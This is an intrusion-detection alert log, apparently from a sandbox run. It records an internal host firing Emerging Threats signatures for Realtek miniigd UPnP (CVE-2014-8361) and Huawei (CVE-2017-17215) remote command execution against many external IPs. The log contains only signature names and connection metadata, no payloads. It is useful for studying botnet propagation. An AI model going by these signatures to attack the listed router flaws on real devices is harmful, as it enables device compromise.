ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.116.164.169

Timestamp:	07/20/24-23:01:41.476492
SID:	2025132
Source Port:	37172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.218.81.136

Timestamp:	07/20/24-23:01:54.037758
SID:	2025132
Source Port:	58232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.74.143.214

Timestamp:	07/20/24-23:01:54.704194
SID:	2025132
Source Port:	51816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.247.120

Timestamp:	07/20/24-23:01:02.048214
SID:	2829579
Source Port:	36992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.27.252.180

Timestamp:	07/20/24-23:01:20.592206
SID:	2027339
Source Port:	58000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.79.18.186

Timestamp:	07/20/24-23:01:49.825670
SID:	2831300
Source Port:	36608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.225.154.233

Timestamp:	07/20/24-23:01:44.825081
SID:	2027339
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.250.122.217

Timestamp:	07/20/24-23:02:00.338154
SID:	2831300
Source Port:	60880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.78.214.126

Timestamp:	07/20/24-23:01:43.415157
SID:	2025132
Source Port:	54360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.172.192.128

Timestamp:	07/20/24-23:01:54.826949
SID:	2831300
Source Port:	53120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.86.83

Timestamp:	07/20/24-23:01:11.817436
SID:	2835222
Source Port:	53206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.47.119

Timestamp:	07/20/24-23:01:34.043964
SID:	2829579
Source Port:	48498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.205.140.164

Timestamp:	07/20/24-23:01:42.704900
SID:	2027339
Source Port:	53568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.196.31.139

Timestamp:	07/20/24-23:01:44.977483
SID:	2027339
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 198.250.155.116

Timestamp:	07/20/24-23:01:44.450410
SID:	2025132
Source Port:	48078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.120.196.186

Timestamp:	07/20/24-23:01:20.599458
SID:	2831300
Source Port:	44618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.52.0

Timestamp:	07/20/24-23:01:24.883172
SID:	2829579
Source Port:	50806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.169.154.123

Timestamp:	07/20/24-23:01:47.906061
SID:	2831300
Source Port:	33136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.20.70.247

Timestamp:	07/20/24-23:01:08.613165
SID:	2831300
Source Port:	52830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.217.116.132

Timestamp:	07/20/24-23:01:26.031343
SID:	2027339
Source Port:	53470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.50.158.70

Timestamp:	07/20/24-23:01:42.151857
SID:	2027339
Source Port:	42232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.199.180.176

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	53068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.144.205.165

Timestamp:	07/20/24-23:01:44.546338
SID:	2831300
Source Port:	52250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 92.210.119.212

Timestamp:	07/20/24-23:01:46.292331
SID:	2831300
Source Port:	51002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.157.173.191

Timestamp:	07/20/24-23:01:04.114673
SID:	2829579
Source Port:	45294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.167.112.208

Timestamp:	07/20/24-23:01:44.732056
SID:	2831300
Source Port:	49360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.119.42.207

Timestamp:	07/20/24-23:01:47.236261
SID:	2025132
Source Port:	57080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.120.36.80

Timestamp:	07/20/24-23:01:53.475886
SID:	2027339
Source Port:	40972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:43.994703
SID:	2025132
Source Port:	33678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.254.251.88

Timestamp:	07/20/24-23:01:46.483452
SID:	2027339
Source Port:	40680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.132.5.218

Timestamp:	07/20/24-23:01:20.598095
SID:	2027339
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.103.140.112

Timestamp:	07/20/24-23:01:41.290518
SID:	2025132
Source Port:	49994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.227.52.7

Timestamp:	07/20/24-23:01:50.951743
SID:	2027339
Source Port:	39594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.48.178.89

Timestamp:	07/20/24-23:01:26.100052
SID:	2025132
Source Port:	47786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.137.178.82

Timestamp:	07/20/24-23:02:00.055900
SID:	2831300
Source Port:	38080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.192.28.117

Timestamp:	07/20/24-23:02:04.592319
SID:	2027339
Source Port:	52792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.186.20

Timestamp:	07/20/24-23:01:02.103737
SID:	2829579
Source Port:	45384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.63.171.55

Timestamp:	07/20/24-23:01:21.944679
SID:	2835222
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.117.132.232

Timestamp:	07/20/24-23:01:02.783592
SID:	2025132
Source Port:	55066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.208.139

Timestamp:	07/20/24-23:01:02.045831
SID:	2829579
Source Port:	37860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.145.35.196

Timestamp:	07/20/24-23:01:41.397238
SID:	2025132
Source Port:	34138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.122.43.145

Timestamp:	07/20/24-23:01:47.407718
SID:	2831300
Source Port:	35494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.72.248.222

Timestamp:	07/20/24-23:01:00.633635
SID:	2829579
Source Port:	53564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.161.189.113

Timestamp:	07/20/24-23:01:58.585039
SID:	2025132
Source Port:	46868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.65.114.30

Timestamp:	07/20/24-23:01:47.709674
SID:	2027339
Source Port:	36216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.80.10.211

Timestamp:	07/20/24-23:01:13.989215
SID:	2025132
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.201.187.18

Timestamp:	07/20/24-23:01:55.666677
SID:	2025132
Source Port:	47078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.234.203.207

Timestamp:	07/20/24-23:01:40.296076
SID:	2835222
Source Port:	39240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.41.35.87

Timestamp:	07/20/24-23:01:42.703494
SID:	2027339
Source Port:	60618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.94.31.193

Timestamp:	07/20/24-23:01:43.243266
SID:	2027339
Source Port:	58200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.66.245.70

Timestamp:	07/20/24-23:01:41.412156
SID:	2025132
Source Port:	36990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.218.112.247

Timestamp:	07/20/24-23:01:44.491060
SID:	2027339
Source Port:	48520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.195.20.112

Timestamp:	07/20/24-23:01:46.212590
SID:	2027339
Source Port:	37236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.170.174.78

Timestamp:	07/20/24-23:01:43.476083
SID:	2831300
Source Port:	40904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.148.234.160

Timestamp:	07/20/24-23:01:46.261026
SID:	2027339
Source Port:	51210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.90.39.173

Timestamp:	07/20/24-23:01:08.590937
SID:	2831300
Source Port:	58384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.83.139.165

Timestamp:	07/20/24-23:01:31.312209
SID:	2027339
Source Port:	57414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.96.43.132

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	37118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.95.241.47

Timestamp:	07/20/24-23:01:41.956472
SID:	2831300
Source Port:	41802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.234.5.119

Timestamp:	07/20/24-23:01:45.667238
SID:	2025132
Source Port:	56994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.209.127.80

Timestamp:	07/20/24-23:01:14.097135
SID:	2835222
Source Port:	36888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.32.110

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	43812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.219.111.180

Timestamp:	07/20/24-23:01:54.957644
SID:	2027339
Source Port:	51404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.67.134.63

Timestamp:	07/20/24-23:01:01.271651
SID:	2025132
Source Port:	60772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.33.43.162

Timestamp:	07/20/24-23:01:41.286911
SID:	2025132
Source Port:	45074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.117.188.131

Timestamp:	07/20/24-23:01:41.417573
SID:	2025132
Source Port:	52788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.248.47.177

Timestamp:	07/20/24-23:01:42.813695
SID:	2831300
Source Port:	36424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.237.197.200

Timestamp:	07/20/24-23:01:01.333817
SID:	2025132
Source Port:	40144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.50.156.29

Timestamp:	07/20/24-23:01:53.066716
SID:	2027339
Source Port:	43292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.130.161.177

Timestamp:	07/20/24-23:01:43.088724
SID:	2831300
Source Port:	55198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.61.115.2

Timestamp:	07/20/24-23:01:47.622268
SID:	2831300
Source Port:	56800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.162.139

Timestamp:	07/20/24-23:01:20.169339
SID:	2835222
Source Port:	37634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.14.151.104

Timestamp:	07/20/24-23:01:59.738271
SID:	2027339
Source Port:	34290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.108.156.75

Timestamp:	07/20/24-23:01:25.600782
SID:	2027339
Source Port:	56522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.203.232.104

Timestamp:	07/20/24-23:01:42.960666
SID:	2027339
Source Port:	43428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.14.147.228

Timestamp:	07/20/24-23:01:55.384732
SID:	2831300
Source Port:	39072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.103.85.217

Timestamp:	07/20/24-23:01:41.380561
SID:	2027339
Source Port:	44798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.222.212.200

Timestamp:	07/20/24-23:01:42.729310
SID:	2027339
Source Port:	48676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.75.171.71

Timestamp:	07/20/24-23:01:53.041672
SID:	2025132
Source Port:	46152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.193.81.146

Timestamp:	07/20/24-23:01:08.578727
SID:	2027339
Source Port:	60194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.190.167.168

Timestamp:	07/20/24-23:01:43.621955
SID:	2027339
Source Port:	48784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.19.254.108

Timestamp:	07/20/24-23:01:02.059312
SID:	2829579
Source Port:	45912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.14.67.20

Timestamp:	07/20/24-23:01:48.834295
SID:	2027339
Source Port:	58622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.142.84

Timestamp:	07/20/24-23:01:27.725851
SID:	2829579
Source Port:	57548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.205.64.234

Timestamp:	07/20/24-23:01:13.628544
SID:	2027339
Source Port:	50292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.224.21.3

Timestamp:	07/20/24-23:01:48.955750
SID:	2025132
Source Port:	60080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.24.146.250

Timestamp:	07/20/24-23:01:44.408559
SID:	2025132
Source Port:	43712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.7.41.237

Timestamp:	07/20/24-23:01:43.944379
SID:	2831300
Source Port:	54670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.125.129

Timestamp:	07/20/24-23:01:00.639011
SID:	2835222
Source Port:	44098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.201.33

Timestamp:	07/20/24-23:01:31.974837
SID:	2829579
Source Port:	37210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.251.54.152

Timestamp:	07/20/24-23:01:02.345084
SID:	2025132
Source Port:	60784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.136.217.138

Timestamp:	07/20/24-23:02:02.509837
SID:	2027339
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.166.138.14

Timestamp:	07/20/24-23:01:31.333071
SID:	2027339
Source Port:	34288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.122.145.145

Timestamp:	07/20/24-23:01:46.530676
SID:	2027339
Source Port:	48422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.27.30.164

Timestamp:	07/20/24-23:02:07.969418
SID:	2027339
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.95.4.242

Timestamp:	07/20/24-23:01:20.175900
SID:	2835222
Source Port:	48058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.63.2.220

Timestamp:	07/20/24-23:01:12.807274
SID:	2027339
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.185.16.155

Timestamp:	07/20/24-23:01:48.155981
SID:	2025132
Source Port:	52440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.116.74

Timestamp:	07/20/24-23:01:27.660100
SID:	2829579
Source Port:	41958
Destination Port:	37215
Protocol:	TCP
